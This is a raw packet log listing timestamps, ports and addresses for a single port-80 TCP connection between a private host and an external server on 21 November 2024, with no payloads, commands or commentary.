Nov 21, 2024 22:33:35.286966085 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.287034035 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.287096977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.287919998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.288552046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.288763046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.288810968 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.290106058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.290199041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.290249109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.291630030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.291681051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.350297928 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.350333929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.350389004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.350992918 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.351123095 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.351175070 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.354121923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.354146004 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.354160070 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.354212046 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.354806900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.354856968 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.355021000 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.355628967 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.356898069 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.356909990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.356950045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.358098030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.358109951 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.358148098 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.359589100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.359601974 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.359649897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.361093044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.361140966 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.361273050 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.362807035 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.362855911 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.362984896 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.363667965 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.364324093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.364495039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.364543915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.365741968 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.367620945 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.405040026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.405050039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.405105114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.405514956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.405561924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.405693054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.407099962 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.407109976 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.407165051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.408350945 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.408361912 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.408411026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.409924030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.409934998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.409984112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.411478043 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.411489964 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.411521912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.413053989 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.413065910 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.413115978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.414598942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.414764881 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.414812088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.416189909 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.416201115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.416235924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.417551994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.417601109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.417726040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.419131041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.419178009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.419290066 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.420926094 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.420975924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.421070099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.421118021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.517569065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.517731905 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.517793894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.518366098 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.518502951 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.518558979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.519793987 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.519808054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.519862890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.520909071 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.520967007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.520998955 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.522413015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.522461891 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.522532940 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.523614883 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.523953915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.524065971 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.524126053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.526269913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.526279926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.526325941 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.527013063 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.527060986 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.527091026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.527614117 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.528512001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.528558969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.528733015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.528815985 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.530009985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.530067921 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.530095100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.530136108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.531516075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.531575918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.531613111 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.532120943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.533023119 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.533087969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.533119917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.537695885 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.596002102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.596086025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.596132994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.596637011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.596689939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.596790075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.597611904 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.597681046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.597829103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.597903967 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.600290060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.600455999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.600502968 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.601388931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.601398945 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.601428032 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.601448059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.602796078 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.602961063 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.603003979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.603733063 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.603832006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.603874922 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.605238914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.605336905 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.605400085 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.606782913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.606885910 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.606934071 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.608319998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.608366013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.608442068 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.609616995 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.609790087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.609833956 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.609906912 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.609941006 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.611304998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.611362934 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.611403942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.612847090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.612906933 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.674379110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.674441099 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.674545050 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.674587011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.675141096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.675192118 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.675542116 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.675554991 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.675581932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.675616980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.676871061 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.677028894 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.677057981 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.677057981 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.678030968 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.678076982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.678117990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.678158998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.679199934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.679244995 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.679284096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.679343939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.680970907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.680984020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.681020975 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.682302952 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.682347059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.682379961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.682415962 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.683805943 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.683852911 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.684133053 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.684171915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.685254097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.685297966 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.685376883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.685529947 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.687231064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.687242031 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.687287092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.687319994 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.688400984 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.688458920 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.688810110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.688855886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.689795017 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.689838886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.689883947 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.689933062 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.691643000 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.691653967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.691699982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.752258062 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.752351046 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.752409935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.752453089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.752976894 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.753026962 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.753057957 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.753103018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.754142046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.754187107 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.754426003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.754476070 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.755669117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.755718946 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.755757093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.755803108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.757158995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.757215023 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.757313013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.757359982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.758660078 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.758708000 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.758804083 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.758852959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.760169029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.760222912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.760277987 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.760324955 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.761749029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.761799097 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.761863947 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.761914015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.763355970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.763411999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.763458967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.763500929 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.764723063 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.764770031 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.764805079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.764848948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.766340017 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.766381979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.766422033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.766463995 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.767781973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.767847061 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.767899036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.767944098 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.769331932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.769484997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.769490957 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.769526958 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.770781994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.770838022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.770864964 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.770904064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.830698013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.830800056 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.830916882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.831105947 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.831285954 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.831336021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.831438065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.831485987 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.832470894 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.832526922 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.832566977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.832604885 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.833956003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.834007978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.834078074 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.834125042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.835465908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.835515022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.835570097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.835618019 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.837044001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.837091923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.837187052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.837234020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.838551044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.838594913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.838599920 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.838630915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.840059042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.840106964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.840116024 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.840152979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.841581106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.841629982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.841661930 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.841707945 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.843065977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.843113899 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.843189001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.843235970 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.844571114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.844620943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.844702005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.844742060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.846072912 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.846189022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.846216917 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.846230030 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.847606897 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.847692013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.847712040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.847752094 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.849116087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.849165916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.849268913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.849314928 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.850660086 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.850704908 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.908917904 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.909006119 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.909017086 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.909063101 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:35.909621000 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:35.909677982 CET	49759	80	192.168.2.4	109.107.157.132
